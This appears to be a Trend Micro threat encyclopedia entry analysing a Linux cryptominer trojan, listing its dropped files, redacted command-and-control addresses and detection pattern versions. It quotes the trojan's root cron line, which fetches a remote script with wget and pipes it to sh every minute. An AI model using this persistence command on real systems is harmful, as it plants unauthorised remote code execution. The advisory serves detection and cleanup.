Analysis by: Alyssa Christelle Ramos
ALIASES:

Trojan:Linux/Shmusho!MSR(MICROSOFT)

 PLATFORM:

Linux

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 REPORTED INFECTION:
 SYSTEM IMPACT RATING:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size: 16,687,104 bytes
File Type: ELF
Initial Samples Received Date: 27 Mar 2020

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan drops the following files:

  • /var/spool/cron/crontabs/root
  • /tmp/kdevtmpfsi
  • /tmp/.ICEd-unix/ygLCf

It creates the following folders:

  • /tmp/.ICEd-unix/

Other Details

This Trojan connects to the following possibly malicious URL:

  • {BLOCKED}.{BLOCKED}.88.102
  • {BLOCKED}.{BLOCKED}.169.111
  • {BLOCKED}.{BLOCKED}.17.242
  • {BLOCKED}.{BLOCKED}.221.224

It does the following:

  • It creates the following cron jobs for persistence:
    • Path: /var/spool/cron/crontabs/root
    • Schedule: Every minute
    • Command: * * * * * wget -q -O - http://{BLOCKED}.{BLOCKED}.146.118 /unk.sh | sh > /dev/null 2>&1

  SOLUTION

Minimum Scan Engine: 9.850
FIRST VSAPI PATTERN FILE: 15.774.02
FIRST VSAPI PATTERN DATE: 30 Mar 2020
VSAPI OPR PATTERN File: 15.775.00
VSAPI OPR PATTERN Date: 31 Mar 2020

Scan your computer with your Trend Micro product to delete files detected as Trojan.Linux.MALXMR.UWEJT. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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